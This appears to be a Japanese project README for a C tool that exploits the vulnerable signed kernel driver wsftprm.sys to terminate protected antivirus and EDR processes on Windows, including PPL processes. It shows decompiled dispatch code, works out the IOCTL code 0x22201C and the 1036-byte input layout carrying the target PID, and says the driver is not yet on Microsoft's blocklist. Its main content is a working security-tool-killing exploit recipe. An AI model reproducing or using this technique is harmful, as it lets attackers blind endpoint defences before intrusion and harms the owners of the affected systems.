
C言語ベースのツール。脆弱なwsftprm.sysカーネルドライバを悪用し、リバースエンジニアリングされたIOCTLディスパッチロジックを介して、Windows上の保護されたEDR/AVプロセス(PPLプロセスを含む)を強制終了します。
ああ、また別のドライバーが燃やされた…。私はしばらくの間 wsftprm.sys ドライバーを囲っていたのですが、ある人が公開PoCを投稿したので、もう囲うのをやめます。すぐにドライバーブロックリストに追加されるのは分かっているので、同じ機能をCで実装したものをここに公開します。
このプロジェクトは、脆弱な wsftprm.sys(Topaz Antifraud カーネルドライバー)を悪用して、Windows 上の保護されたプロセス(例:アンチウイルス/EDR サービス)を終了させます。
2026年1月現在、wsftprm.sys(SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8)は、Microsoft の公式脆弱ドライバーブロックリストに含まれていない、署名済み脆弱ドライバーの1つです。
ドライバーのロード方法やリバースエンジニアリングについては、大量の情報がすでに存在するので、そちらを参照してください。このドライバーで興味深いのは、IOCTL の処理方法です。ドライバーは IOCTL ディスパッチに標準の switch 文を使用せず、代わりに IOCTL コードから一連の減算を実行して意図された値を難読化しています。
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
ZwTerminateProcess() 関数呼び出しsub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
これで脆弱な関数に到達するための前提条件が分かりました。基本的には v11 == 4 && InputBufferLength == 1036 なので、条件から逆算して IOCTL コードを求めることができます。次のようになります:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
そして、この IOCTL コードを使って DeviceIoControl を呼び出せば、任意のプロセス(PPL プロセスも含む)を終了させることができます。
最終テスト環境: Windows Version 25H2!